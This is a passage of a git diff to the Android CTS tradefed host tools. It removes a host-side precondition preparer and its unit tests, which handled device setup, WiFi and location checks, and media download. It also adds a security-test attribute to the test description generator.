-import java.net.MalformedURLException;
-import java.net.URL;
-import java.net.URLConnection;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.zip.ZipFile;
-
-/**
- * A {@link ITargetPreparer} that performs steps on the host-side to meet the preconditions of CTS.
- * <p/>
- * This class is intended for runs of CTS against a device running a user build.
- * <p/>
- * This class performs checks to verify that the location services are on, WiFi is connected,
- * the device locale is set to 'en-US', and that the device runs a user build. The class also
- * performs automation to ensure that 3rd party app installs are enabled, the 'Stay Awake' setting
- * is turned on, and that the appropriate media files are pushed to the device for the media tests.
- * Additionally, options are provided for automatically connecting to a specific WiFi network.
- */
-@OptionClass(alias="host-precondition-preparer")
-public class HostPreconditionPreparer implements ITargetPreparer {
-
-    /* This option also exists in the DevicePreconditionPreparer */
-    @Option(name = "skip-preconditions",
-            description = "Whether to skip precondition checks and automation")
-    protected boolean mSkipPreconditions = false;
-
-    @Option(name = "wifi-ssid", description = "Name of the WiFi network with which to connect")
-    protected String mWifiSsid = null;
-
-    @Option(name = "wifi-psk", description = "The WPA-PSK associated with option 'wifi-ssid'")
-    protected String mWifiPsk = null;
-
-    @Option(name = "skip-media-download",
-            description = "Whether to skip verifying/downloading media files")
-    protected boolean mSkipMediaDownload = false;
-
-    @Option(name = "skip-wifi-check",
-            description = "Whether to skip verification of network connection")
-    protected boolean mSkipWifiCheck = false;
-
-    @Option(name = "local-media-path",
-            description = "Absolute path of the media files directory on the host, containing" +
-            "'bbb_short' and 'bbb_full' directories")
-    protected String mLocalMediaPath = null;
-
-    private static final String LOG_TAG = HostPreconditionPreparer.class.getSimpleName();
-
-    private static final String WIFI_FEATURE = "android.hardware.wifi";
-    private static final String LOCATION_GPS_FEATURE = "android.hardware.location.gps";
-    private static final String LOCATION_NETWORK_FEATURE = "android.hardware.location.network";
-
-    /* Constants found in android.provider.Settings */
-    protected static final String STAY_ON_WHILE_PLUGGED_IN = "stay_on_while_plugged_in";
-    protected static final String PACKAGE_VERIFIER_INCLUDE_ADB = "verifier_verify_adb_installs";
-    protected static final String LOCATION_PROVIDERS_ALLOWED = "location_providers_allowed";
-    /* Constant from android.os.BatteryManager */
-    private static final int BATTERY_PLUGGED_ANY = 7;
-
-    /* Name and expected value of the device's locale property */
-    private static final String LOCALE_PROPERTY_STRING = "ro.product.locale";
-    private static final String US_EN_LOCALE_STRING = "en-US";
-    /* Name and expected value of the device's build type property */
-    private static final String BUILD_TYPE_PROPERTY_STRING = "ro.build.type";
-    private static final String USER_BUILD_STRING = "user";
-
-    /* Logged if the preparer fails to identify the device's maximum video playback resolution */
-    private static final String MAX_PLAYBACK_RES_FAILURE_MSG =
-            "Unable to parse maximum video playback resolution, pushing all media files";
-
-    /*
-     * The URL from which to download the compressed media files
-     * TODO: Find a way to retrieve this programmatically
-     */
-    private static final String MEDIA_URL_STRING =
-            "https://dl.google.com/dl/android/cts/android-cts-media-1.1.zip";
-
-    /*
-     * A default name for the local directory into which media files will be downloaded, if option
-     * "local-media-path" is not provided. This name is intentionally predetermined and final, so
-     * that when running CTS repeatedly, media files downloaded to the host in a previous run of
-     * CTS can be found in this directory, which will live inside the local temp directory.
-     */
-    private static final String MEDIA_FOLDER_NAME = "android-cts-media";
-
-    /* Constants identifying video playback resolutions of the media files to be copied */
-    protected static final int RES_176_144 = 0; // 176x144 resolution
-    protected static final int RES_DEFAULT = 1; // 480x360, the default max playback resolution
-    protected static final int RES_720_480 = 2; // 720x480 resolution
-    protected static final int RES_1280_720 = 3; // 1280x720 resolution
-    protected static final int RES_1920_1080 = 4; // 1920x1080 resolution
-
-    /* Array of Dimensions aligning with and corresponding to the resolution constants above */
-    protected static final Dimension[] resolutions = {
-            new Dimension(176, 144),
-            new Dimension(480, 360),
-            new Dimension(720, 480),
-            new Dimension(1280, 720),
-            new Dimension(1920, 1080)
-    };
-
-    /*********************************************************************************************
-     * HELPER METHODS
-     *********************************************************************************************/
-
-    /* Helper that logs a message with LogLevel.INFO */
-    private static void printInfo(String msg) {
-        LogUtil.printLog(Log.LogLevel.INFO, LOG_TAG, msg);
-    }
-
-    /* Helper that logs a message with LogLevel.WARN */
-    private static void printWarning(String msg) {
-        LogUtil.printLog(Log.LogLevel.WARN, LOG_TAG, msg);
-    }
-
-    /* Helper that determines whether the device supports a feature */
-    private boolean hasFeature(ITestDevice device, String feature)
-            throws DeviceNotAvailableException {
-        String pmFeatures = device.executeShellCommand("pm list features");
-        return pmFeatures.contains(feature);
-    }
-
-    /*
-     * Returns a string representation of the dimension
-     * For dimension of width = 480 and height = 360, the resolution string is "480x360"
-     */
-    protected static String resolutionString(Dimension resolution) {
-        return String.format("%dx%d", resolution.width, resolution.height);
-    }
-
-    /*
-     * Returns the device's absolute path to the directory containing 'short' media files, given
-     * a resolution. The instance of ITestDevice is used to identify the mount point for
-     * external storage.
-     */
-    protected String getDeviceShortDir(ITestDevice device, Dimension resolution) {
-        String mountPoint = device.getMountPoint(IDevice.MNT_EXTERNAL_STORAGE);
-        return String.format("%s/test/bbb_short/%s", mountPoint, resolutionString(resolution));
-    }
-
-    /*
-     * Returns the device's absolute path to the directory containing 'full' media files, given
-     * a resolution. The instance of ITestDevice is used to identify the mount point for
-     * external storage.
-     */
-    protected String getDeviceFullDir(ITestDevice device, Dimension resolution) {
-        String mountPoint = device.getMountPoint(IDevice.MNT_EXTERNAL_STORAGE);
-        return String.format("%s/test/bbb_full/%s", mountPoint, resolutionString(resolution));
-    }
-
-    /*
-     * Loops through the predefined maximum video playback resolutions from largest to smallest,
-     * And returns the greatest resolution that is strictly smaller than the width and height
-     * provided in the arguments.
-     */
-    private Dimension getMaxVideoPlaybackResolution(int width, int height) {
-        for (int resIndex = resolutions.length - 1; resIndex >= RES_DEFAULT; resIndex--) {
-            Dimension resolution = resolutions[resIndex];
-            if (width >= resolution.width && height >= resolution.height) {
-                return resolution;
-            }
-        }
-        return resolutions[RES_DEFAULT];
-    }
-
-    /**
-     * Returns the maximum video playback resolution of the device, in the form of a Dimension
-     * object. This method parses dumpsys output to find resolutions listed under the
-     * 'mBaseDisplayInfo' field. The value of the 'smallest app' field is used as an estimate for
-     * maximum video playback resolution, and is rounded down to the nearest dimension in the
-     * resolutions array.
-     */
-    protected Dimension getMaxVideoPlaybackResolution(ITestDevice device)
-            throws DeviceNotAvailableException{
-        String dumpsysOutput =
-                device.executeShellCommand("dumpsys display | grep mBaseDisplayInfo");
-        Pattern pattern = Pattern.compile("smallest app (\\d+) x (\\d+)");
-        Matcher matcher = pattern.matcher(dumpsysOutput);
-        if(!matcher.find()) {
-            // could not find resolution in dumpsysOutput, return largest max playback resolution
-            // so that preparer copies all media files
-            printInfo(MAX_PLAYBACK_RES_FAILURE_MSG);
-            return resolutions[RES_1920_1080];
-        }
-
-        int first;
-        int second;
-        try {
-            first = Integer.parseInt(matcher.group(1));
-            second = Integer.parseInt(matcher.group(2));
-        } catch (NumberFormatException e) {
-            // match was found, but not an identifiable resolution
-            printInfo(MAX_PLAYBACK_RES_FAILURE_MSG);
-            return resolutions[RES_1920_1080];
-        }
-        // ensure that the larger of the two values found is assigned to 'width'
-        int height = Math.min(first, second);
-        int width = Math.max(first, second);
-        return getMaxVideoPlaybackResolution(width, height);
-    }
-
-    /*
-     * After downloading and unzipping the media files, mLocalMediaPath must be the path to the
-     * directory containing 'bbb_short' and 'bbb_full' directories, as it is defined in its
-     * description as an option.
-     * After extraction, this directory exists one level below the the directory 'mediaFolder'.
-     * If the 'mediaFolder' contains anything other than exactly one subdirectory, a
-     * TargetSetupError is thrown. Otherwise, the mLocalMediaPath variable is set to the path of
-     * this subdirectory.
-     */
-    private void updateLocalMediaPath(File mediaFolder) throws TargetSetupError {
-        String[] subDirs = mediaFolder.list();
-        if (subDirs.length != 1) {
-            throw new TargetSetupError(String.format(
-                    "Unexpected contents in directory %s", mLocalMediaPath));
-        }
-        File newMediaFolder = new File(mediaFolder, subDirs[0]);
-        mLocalMediaPath = newMediaFolder.toString();
-    }
-
-    /*
-     * Copies the media files to the host from predefined url MEDIA_URL_STRING.
-     * The compressed file is downloaded and unzipped into mLocalMediaPath.
-     */
-    private void downloadMediaToHost() throws TargetSetupError {
-
-        URL url;
-        try {
-            url = new URL(MEDIA_URL_STRING);
-        } catch (MalformedURLException e) {
-            throw new TargetSetupError(
-                    String.format("Trouble finding android media files at %s", MEDIA_URL_STRING));
-        }
-
-        File mediaFolder = new File(mLocalMediaPath);
-        File mediaFolderZip = new File(mediaFolder.getAbsolutePath() + ".zip");
-        try {
-
-            mediaFolder.mkdirs();
-            mediaFolderZip.createNewFile();
-
-            URLConnection conn = url.openConnection();
-            InputStream in = conn.getInputStream();
-            BufferedOutputStream out =
-                    new BufferedOutputStream(new FileOutputStream(mediaFolderZip));
-            byte[] buffer = new byte[1024];
-            int count;
-            printInfo("Downloading media files to host");
-            while ((count = in.read(buffer)) >= 0) {
-                out.write(buffer, 0, count);
-            }
-            out.flush();
-            out.close();
-            in.close();
-
-            printInfo("Unzipping media files");
-            ZipUtil.extractZip(new ZipFile(mediaFolderZip), mediaFolder);
-
-        } catch (IOException e) {
-            FileUtil.recursiveDelete(mediaFolder);
-            FileUtil.recursiveDelete(mediaFolderZip);
-            throw new TargetSetupError("Failed to open media files on host");
-        }
-    }
-
-    /**
-     * Pushes directories containing media files to the device for all directories that:
-     * - are not already present on the device
-     * - contain video files of a resolution less than or equal to the device's
-     *       max video playback resolution
-     */
-    protected void copyMediaFiles(ITestDevice device, Dimension mvpr)
-            throws DeviceNotAvailableException {
-
-        int resIndex = RES_176_144;
-        while (resIndex <= RES_1920_1080) {
-            Dimension copiedResolution = resolutions[resIndex];
-            String resString = resolutionString(copiedResolution);
-            if (copiedResolution.width > mvpr.width || copiedResolution.height > mvpr.height) {
-                printInfo(String.format(
-                        "Device cannot support resolutions %s and larger, media copying complete",
-                        resString));
-                return;
-            }
-            String deviceShortFilePath = getDeviceShortDir(device, copiedResolution);
-            String deviceFullFilePath = getDeviceFullDir(device, copiedResolution);
-            if (!device.doesFileExist(deviceShortFilePath) ||
-                    !device.doesFileExist(deviceFullFilePath)) {
-                printInfo(String.format("Copying files of resolution %s to device", resString));
-                String localShortDirName = "bbb_short/" + resString;
-                String localFullDirName = "bbb_full/" + resString;
-                File localShortDir = new File(mLocalMediaPath, localShortDirName);
-                File localFullDir = new File(mLocalMediaPath, localFullDirName);
-                // push short directory of given resolution, if not present on device
-                if(!device.doesFileExist(deviceShortFilePath)) {
-                    device.pushDir(localShortDir, deviceShortFilePath);
-                }
-                // push full directory of given resolution, if not present on device
-                if(!device.doesFileExist(deviceFullFilePath)) {
-                    device.pushDir(localFullDir, deviceFullFilePath);
-                }
-            }
-            resIndex++;
-        }
-    }
-
-    /*
-     * Returns true if all media files of a resolution less than or equal to 'mvpr' exist on the
-     * device, and otherwise returns false.
-     */
-    private boolean mediaFilesExistOnDevice(ITestDevice device, Dimension mvpr)
-            throws DeviceNotAvailableException{
-        int resIndex = RES_176_144;
-        while (resIndex <= RES_1920_1080) {
-            Dimension copiedResolution = resolutions[resIndex];
-            if (copiedResolution.width > mvpr.width || copiedResolution.height > mvpr.height) {
-                break; // we don't need to check for resolutions greater than or equal to this
-            }
-            String deviceShortFilePath = getDeviceShortDir(device, copiedResolution);
-            String deviceFullFilePath = getDeviceFullDir(device, copiedResolution);
-            if (!device.doesFileExist(deviceShortFilePath) ||
-                    !device.doesFileExist(deviceFullFilePath)) {
-                // media files of valid resolution not found on the device, and must be pushed
-                return false;
-            }
-            resIndex++;
-        }
-        return true;
-    }
-
-    /* Static method that returns a directory called 'dirName' in the system's temp directory */
-    private static File createSimpleTempDir(String dirName) throws IOException {
-        // find system's temp directory
-        File throwaway = File.createTempFile(dirName, null);
-        String systemTempDir = throwaway.getParent();
-        // create directory with simple name within temp directory
-        File simpleTempDir = new File(systemTempDir, dirName);
-        // delete file used to find temp directory
-        throwaway.delete();
-        return simpleTempDir;
-    }
-
-    /* Method that creates a local media path, and ensures that the necessary media files live
-     * within that path */
-    private void createLocalMediaPath() throws TargetSetupError {
-        File mediaFolder;
-        try {
-            mediaFolder = createSimpleTempDir(MEDIA_FOLDER_NAME);
-        } catch (IOException e) {
-            throw new TargetSetupError("Unable to create host temp directory for media files");
-        }
-        mLocalMediaPath = mediaFolder.getAbsolutePath();
-        if (!mediaFolder.exists()) {
-            // directory has not been created or filled by previous runs of MediaPreparer
-            downloadMediaToHost(); //download media into mLocalMediaPath
-        }
-        updateLocalMediaPath(mediaFolder);
-    }
-
-    /*********************************************************************************************
-     * PRECONDITION METHODS
-     *********************************************************************************************/
-
-    /**
-     * Prevents the screen from sleeping while charging via USB
-     */
-    protected void enableStayAwakeSetting(ITestDevice device) throws DeviceNotAvailableException {
-        String shellCmd = String.format("settings put global %s %d",
-                STAY_ON_WHILE_PLUGGED_IN, BATTERY_PLUGGED_ANY);
-        device.executeShellCommand(shellCmd);
-    }
-
-    /**
-     * Prevents package verification on apps installed through ADB/ADT/USB
-     */
-    protected void disableAdbAppVerification(ITestDevice device)
-            throws DeviceNotAvailableException {
-        String shellCmd = String.format("settings put global %s 0", PACKAGE_VERIFIER_INCLUDE_ADB);
-        device.executeShellCommand(shellCmd);
-    }
-
-    /**
-     * Prevents the keyguard from re-emerging during the CTS test, which can cause some failures
-     * Note: the shell command run here is not supported on L
-     */
-    protected void disableKeyguard(ITestDevice device) throws DeviceNotAvailableException {
-        device.executeShellCommand("wm disable-keyguard");
-    }
-
-    /**
-     * Prints a warning if the device's locale is something other than US English, as some tests
-     * may pass or fail depending on the 'en-US' locale.
-     */
-    protected void verifyLocale(ITestDevice device) throws DeviceNotAvailableException {
-        String locale = device.getProperty(LOCALE_PROPERTY_STRING);
-        if (locale == null) {
-            printWarning(String.format("Property %s not found on device", LOCALE_PROPERTY_STRING));
-            return;
-        }
-        if (!locale.equalsIgnoreCase(US_EN_LOCALE_STRING)) {
-            printWarning(String.format("Expected locale en-US, detected locale \"%s\"", locale));
-        }
-    }
-
-    /**
-     * Prints a warning if the device is not running a user build. This is not allowed for
-     * testing production devices, but should not block testers from running CTS on a userdebug
-     * build.
-     */
-    protected void verifyUserBuild(ITestDevice device) throws DeviceNotAvailableException {
-        String buildType = device.getProperty(BUILD_TYPE_PROPERTY_STRING);
-        if (buildType == null) {
-            printWarning(
-                    String.format("Property %s not found on device", BUILD_TYPE_PROPERTY_STRING));
-            return;
-        }
-        if (!buildType.equalsIgnoreCase(USER_BUILD_STRING)) {
-            printWarning(String.format("Expected user build, detected type \"%s\"", buildType));
-        }
-    }
-
-    /**
-     * Throws a TargetSetupError if location services are not enabled by gps or a network
-     */
-    protected void checkLocationServices(ITestDevice device)
-            throws DeviceNotAvailableException, TargetSetupError {
-
-        String shellCmd = String.format("settings get secure %s", LOCATION_PROVIDERS_ALLOWED);
-        String locationServices = device.executeShellCommand(shellCmd);
-        if (!locationServices.contains("gps") && !locationServices.contains("network")) {
-            // location services are not enabled by gps nor by the network
-            throw new TargetSetupError(
-                    "Location services must be enabled for several CTS test packages");
-        }
-    }
-
-    /**
-     * Throws a TargetSetupError if the device is not connected to a WiFi network. Testers can
-     * optionally supply a 'wifi-ssid' and 'wifi-psk' (in the options above) to attempt connection
-     * to a specific network.
-     */
-    protected void runWifiPrecondition(ITestDevice device)
-            throws TargetSetupError, DeviceNotAvailableException {
-        if (mSkipWifiCheck) {
-            return; // skip this precondition
-        }
-        if (mWifiSsid == null) {
-            // no connection to create, check for existing connectivity
-            if (!device.checkConnectivity()) {
-                printWarning("Device has no network connection, option --wifi-ssid was not " +
-                        "provided. Some CTS tests require an active network connection to pass");
-            }
-        } else {
-            // network provided in options, attempt to create new connection if needed
-            if (!device.connectToWifiNetworkIfNeeded(mWifiSsid, mWifiPsk)) {
-                printWarning("Unable to establish network connection, some CTS tests require " +
-                        "an active network connection to pass");
-            }
-        }
-    }
-
-    /**
-     * Checks that media files for the mediastress tests are present on the device, and if not,
-     * pushes them onto the device.
-     */
-    protected void runMediaPrecondition(ITestDevice device)
-            throws TargetSetupError, DeviceNotAvailableException {
-        if (mSkipMediaDownload) {
-            return; // skip this precondition
-        }
-        Dimension mvpr = getMaxVideoPlaybackResolution(device);
-        if (mediaFilesExistOnDevice(device, mvpr)) {
-            return; // media files already found on the device
-        }
-        if (mLocalMediaPath == null) {
-            createLocalMediaPath(); // make new path on host containing media files
-        }
-        printInfo(String.format("Media files located on host at: %s", mLocalMediaPath));
-        copyMediaFiles(device, mvpr);
-    }
-
-    public void setUp(ITestDevice device, IBuildInfo buildInfo)
-            throws TargetSetupError, BuildError, DeviceNotAvailableException {
-        if (mSkipPreconditions) {
-            return; // skipping host-side preconditions
-        }
-
-        /* run each host-side precondition */
-        enableStayAwakeSetting(device);
-        disableAdbAppVerification(device);
-        disableKeyguard(device);
-        verifyLocale(device);
-        verifyUserBuild(device);
-
-        if (hasFeature(device, LOCATION_NETWORK_FEATURE) ||
-                hasFeature(device, LOCATION_GPS_FEATURE)) {
-            checkLocationServices(device); // only check location services if supported
-        }
-
-        if (hasFeature(device, WIFI_FEATURE)) {
-            runWifiPrecondition(device); // check wifi precondition only if device supports wifi
-        }
-
-        runMediaPrecondition(device);
-    }
-
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsTest.java
index b03ac94..244f348 100644
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsTest.java
+++ b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsTest.java
@@ -523,12 +523,7 @@
         try {
             // always collect the device info, even for resumed runs, since test will likely be
             // running on a different device
-            DeviceInfoResultForwarder deviceInfoResultForwarder =
-                    new DeviceInfoResultForwarder(listener);
-            collectDeviceInfo(getDevice(), mCtsBuild, deviceInfoResultForwarder);
-            if (deviceInfoResultForwarder.isFailed()) {
-                throw new RuntimeException("Device Info failed. Please check the device log.");
-            }
+            collectDeviceInfo(getDevice(), mCtsBuild, listener);
             preRebootIfNecessary(mTestPackageList);
 
             mPrevRebootTime = System.currentTimeMillis();
@@ -1194,26 +1189,4 @@
         listener.testRunStarted(def.getId(), 0);
         listener.testRunEnded(0, metrics);
     }
-
-
-    /** Capture information about device info collection. */
-    static class DeviceInfoResultForwarder extends ResultForwarder {
-
-        private boolean mFailed = false;
-
-        DeviceInfoResultForwarder(ITestInvocationListener listener) {
-            super(listener);
-        }
-
-        @Override
-        public void testRunFailed(String arg0) {
-            super.testRunFailed(arg0);
-            mFailed = true;
-        }
-
-        /** Return true if device info failed. */
-        public boolean isFailed() {
-            return mFailed;
-        }
-    }
 }
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/UnitTests.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/UnitTests.java
index 6fa648e..29c1324 100644
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/UnitTests.java
+++ b/tools/tradefed-host/tests/src/com/android/cts/tradefed/UnitTests.java
@@ -22,7 +22,6 @@
 import com.android.cts.tradefed.result.TestSummaryXmlTest;
 import com.android.cts.tradefed.result.TestTest;
 import com.android.cts.tradefed.result.TestLogTest;
-import com.android.cts.tradefed.targetprep.HostPreconditionPreparerTest;
 import com.android.cts.tradefed.testtype.Abi;
 import com.android.cts.tradefed.testtype.CtsTestTest;
 import com.android.cts.tradefed.testtype.DeqpTestRunnerTest;
@@ -60,9 +59,6 @@
         addTestSuite(TestTest.class);
         addTestSuite(TestLogTest.class);
 
-        // targetprep package
-        addTestSuite(HostPreconditionPreparerTest.class);
-
         // testtype package
         addTestSuite(CtsTestTest.class);
         addTestSuite(DeqpTestRunnerTest.class);
diff --git a/tools/tradefed-host/tests/src/com/android/cts/tradefed/targetprep/HostPreconditionPreparerTest.java b/tools/tradefed-host/tests/src/com/android/cts/tradefed/targetprep/HostPreconditionPreparerTest.java
deleted file mode 100644
index 44c6a4d..0000000
--- a/tools/tradefed-host/tests/src/com/android/cts/tradefed/targetprep/HostPreconditionPreparerTest.java
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.targetprep;
-
-import com.android.ddmlib.IDevice;
-import com.android.tradefed.config.OptionSetter;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.targetprep.TargetSetupError;
-
-import java.awt.Dimension;
-
-import junit.framework.TestCase;
-
-import org.easymock.EasyMock;
-
-/**
- * Unit tests for {@link HostPreconditionPreparer}.
- */
-public class HostPreconditionPreparerTest extends TestCase {
-
-    private HostPreconditionPreparer mHostPreconditionPreparer;
-    private ITestDevice mMockDevice;
-    private OptionSetter mOptionSetter;
-
-    private final Dimension DEFAULT_DIMENSION =
-            HostPreconditionPreparer.resolutions[HostPreconditionPreparer.RES_DEFAULT];
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mHostPreconditionPreparer = new HostPreconditionPreparer();
-        mMockDevice = EasyMock.createMock(ITestDevice.class);
-        mOptionSetter = new OptionSetter(mHostPreconditionPreparer);
-
-        EasyMock.expect(mMockDevice.getMountPoint(IDevice.MNT_EXTERNAL_STORAGE)).andReturn(
-                "/sdcard").anyTimes();
-    }
-
-    public void testLocationServicesOnGpsNetwork() throws Exception {
-        String shellCmd = String.format(
-                "settings get secure %s", HostPreconditionPreparer.LOCATION_PROVIDERS_ALLOWED);
-
-        // expect location to be enabled by both gps and network
-        EasyMock.expect(
-                mMockDevice.executeShellCommand(shellCmd)).andReturn("\ngps,network\n").once();
-        EasyMock.replay(mMockDevice);
-        mHostPreconditionPreparer.checkLocationServices(mMockDevice);
-    }
-
-    public void testLocationServicesOnGps() throws Exception {
-        String shellCmd = String.format(
-                "settings get secure %s", HostPreconditionPreparer.LOCATION_PROVIDERS_ALLOWED);
-
-        // expect location to be enabled by gps only
-        EasyMock.expect(
-                mMockDevice.executeShellCommand(shellCmd)).andReturn("\ngps\n").once();
-        EasyMock.replay(mMockDevice);
-        mHostPreconditionPreparer.checkLocationServices(mMockDevice);
-    }
-
-    public void testLocationServicesOnNetwork() throws Exception {
-        String shellCmd = String.format(
-                "settings get secure %s", HostPreconditionPreparer.LOCATION_PROVIDERS_ALLOWED);
-
-        // expect location to be enabled by network only
-        EasyMock.expect(
-                mMockDevice.executeShellCommand(shellCmd)).andReturn("\nnetwork\n").once();
-        EasyMock.replay(mMockDevice);
-        mHostPreconditionPreparer.checkLocationServices(mMockDevice);
-    }
-
-    public void testLocationServicesOff() throws Exception {
-        String shellCmd = String.format(
-                "settings get secure %s", HostPreconditionPreparer.LOCATION_PROVIDERS_ALLOWED);
-
-        // expect location to be disabled
-        EasyMock.expect(
-                mMockDevice.executeShellCommand(shellCmd)).andReturn("\n\n").once();
-        EasyMock.replay(mMockDevice);
-        try {
-            mHostPreconditionPreparer.checkLocationServices(mMockDevice);
-            fail("TargetSetupError expected");
-        } catch (TargetSetupError e) {
-            // Expected
-        }
-    }
-
-    public void testWifiConnected() throws Exception {
-        EasyMock.expect(mMockDevice.checkConnectivity()).andReturn(true).once();
-        EasyMock.replay(mMockDevice);
-        mHostPreconditionPreparer.runWifiPrecondition(mMockDevice);
-    }
-
-    public void testWifiDisconnected() throws Exception {
-        EasyMock.expect(mMockDevice.checkConnectivity()).andReturn(false).once();
-        EasyMock.replay(mMockDevice);
-        try {
-            mHostPreconditionPreparer.runWifiPrecondition(mMockDevice);
-            fail("TargetSetupError expected");
-        } catch (TargetSetupError e) {
-            // Expected
-        }
-    }
-
-    public void testWifiConnectionSuccessful() throws Exception {
-        EasyMock.expect(
-                mMockDevice.connectToWifiNetworkIfNeeded("wifi-ssid", "wifi-psk")).andReturn(true).once();
-        mOptionSetter.setOptionValue("wifi-ssid", "wifi-ssid");
-        mOptionSetter.setOptionValue("wifi-psk", "wifi-psk");
-        EasyMock.replay(mMockDevice);
-        mHostPreconditionPreparer.runWifiPrecondition(mMockDevice);
-    }
-
-    public void testWifiConnectionUnuccessful() throws Exception {
-        EasyMock.expect(
-                mMockDevice.connectToWifiNetworkIfNeeded("wifi-ssid", "wifi-psk")).andReturn(false).once();
-        mOptionSetter.setOptionValue("wifi-ssid", "wifi-ssid");
-        mOptionSetter.setOptionValue("wifi-psk", "wifi-psk");
-        EasyMock.replay(mMockDevice);
-        try {
-            mHostPreconditionPreparer.runWifiPrecondition(mMockDevice);
-            fail("TargetSetupError expected");
-        } catch (TargetSetupError e) {
-            // Expected
-        }
-    }
-
-    public void testResolutionString() throws Exception {
-        assertEquals("480x360", mHostPreconditionPreparer.resolutionString(DEFAULT_DIMENSION));
-    }
-
-    public void testGetDeviceDirs() throws Exception {
-        EasyMock.replay(mMockDevice);
-        String shortDir =
-                mHostPreconditionPreparer.getDeviceShortDir(mMockDevice, DEFAULT_DIMENSION);
-        String fullDir =
-                mHostPreconditionPreparer.getDeviceFullDir(mMockDevice, DEFAULT_DIMENSION);
-        assertEquals(shortDir, "/sdcard/test/bbb_short/480x360");
-        assertEquals(fullDir, "/sdcard/test/bbb_full/480x360");
-    }
-
-    public void testGetMaxVideoPlaybackResolutionFound() throws Exception {
-        // set "smallest app" field to DEFAULT_DIMENSION
-        String mockDumpsysOutput = "mBaseDisplayInfo=DisplayInfo{\"Built-in Screen\", uniqueId " +
-                "\"local:0\", app 1440 x 2560, real 1440 x 2560, largest app 1440 x 2560, " +
-                "smallest app 360 x 480, mode 1, defaultMode 1, modes [{id=1, width=1440, " +
-                "height=2560, fps=60.0}], rotation 0, density 560 (494.27 x 492.606) dpi, " +
-                "layerStack 0, appVsyncOff 2500000, presDeadline 17666667, type BUILT_IN, state " +
-                "ON, FLAG_SECURE, FLAG_SUPPORTS_PROTECTED_BUFFERS}\n";
-        EasyMock.expect(mMockDevice.executeShellCommand(
-                "dumpsys display | grep mBaseDisplayInfo")).andReturn(mockDumpsysOutput).once();
-        EasyMock.replay(mMockDevice);
-        Dimension result = mHostPreconditionPreparer.getMaxVideoPlaybackResolution(mMockDevice);
-        assertEquals(result, DEFAULT_DIMENSION);
-    }
-
-    public void testGetMaxVideoPlaybackResolutionNotFound() throws Exception {
-        String mockDumpsysOutput = "incorrect output";
-        EasyMock.expect(mMockDevice.executeShellCommand(
-                "dumpsys display | grep mBaseDisplayInfo")).andReturn(mockDumpsysOutput).once();
-        EasyMock.replay(mMockDevice);
-        Dimension result = mHostPreconditionPreparer.getMaxVideoPlaybackResolution(mMockDevice);
-        Dimension maxRes =
-                HostPreconditionPreparer.resolutions[HostPreconditionPreparer.RES_1920_1080];
-        assertEquals(result,maxRes);
-    }
-
-    public void testSkipMediaDownload() throws Exception {
-        mOptionSetter.setOptionValue("skip-media-download", "true");
-        EasyMock.replay();
-        mHostPreconditionPreparer.runMediaPrecondition(mMockDevice);
-    }
-
-}
diff --git a/tools/utils/CollectAllTests.java b/tools/utils/CollectAllTests.java
index 83c451e..a808f06 100644
--- a/tools/utils/CollectAllTests.java
+++ b/tools/utils/CollectAllTests.java
@@ -459,7 +459,7 @@
         }
 
         testClass.mCases.add(new TestMethod(testName, "", "", supportedAbis,
-              knownFailure, false, false, timeoutInMinutes));
+                knownFailure, false, false, timeoutInMinutes, false));
     }
 
     private static boolean isJunit3Test(Class<?> klass) {
diff --git a/tools/utils/DescriptionGenerator.java b/tools/utils/DescriptionGenerator.java
index 1e2542f..3550e0a 100644
--- a/tools/utils/DescriptionGenerator.java
+++ b/tools/utils/DescriptionGenerator.java
@@ -68,6 +68,7 @@
 public class DescriptionGenerator extends Doclet {
     static final String HOST_CONTROLLER = "dalvik.annotation.HostController";
     static final String KNOWN_FAILURE = "dalvik.annotation.KnownFailure";
+    static final String SECURITY_ANNOTATION = "android.security.cts.SecurityTest";
     static final String SUPPRESSED_TEST = "android.test.suitebuilder.annotation.Suppress";
     static final String CTS_EXPECTATION_DIR = "cts/tests/expectations";
 
@@ -87,6 +88,7 @@
     static final String ATTRIBUTE_ABIS = "abis";
     static final String ATTRIBUTE_HOST_CONTROLLER = "HostController";
     static final String ATTRIBUTE_TIMEOUT = "timeout";
+    static final String ATTRIBUTE_SECURITY = "security";
 
     static final String XML_OUTPUT_PATH = "./description.xml";
 
@@ -141,7 +143,7 @@
         }
 
         for (ClassDoc clazz : classes) {
-            if ((!clazz.isAbstract()) && (isValidJUnitTestCase(clazz))) {
+          if ((!clazz.isAbstract()) && (isValidJUnitTestCase(clazz))) {
                 xmlGenerator.addTestClass(new TestClass(clazz, ctsExpectationStore, architecture));
             }
         }
@@ -443,6 +445,9 @@
                         setAttribute(caseNode, ATTRIBUTE_TIMEOUT,
                                      Integer.toString(caze.mTimeoutInMinutes));
                     }
+                    if (caze.mSecurity) {
+                        setAttribute(caseNode, ATTRIBUTE_SECURITY, "true");
+                    }
 
                     if (caze.mDescription != null && !caze.mDescription.equals("")) {
                         caseNode.appendChild(mDoc.createElement(TAG_DESCRIPTION))
@@ -557,6 +562,7 @@
                 String knownFailure = null;
                 boolean isBroken = false;
                 boolean isSuppressed = false;
+                boolean isSecurity = false;
                 for (AnnotationDesc cAnnot : annotations) {
 
                     AnnotationTypeDoc atype = cAnnot.annotationType();
@@ -566,7 +572,10 @@
                         knownFailure = getAnnotationDescription(cAnnot);
                     } else if (atype.toString().equals(SUPPRESSED_TEST)) {
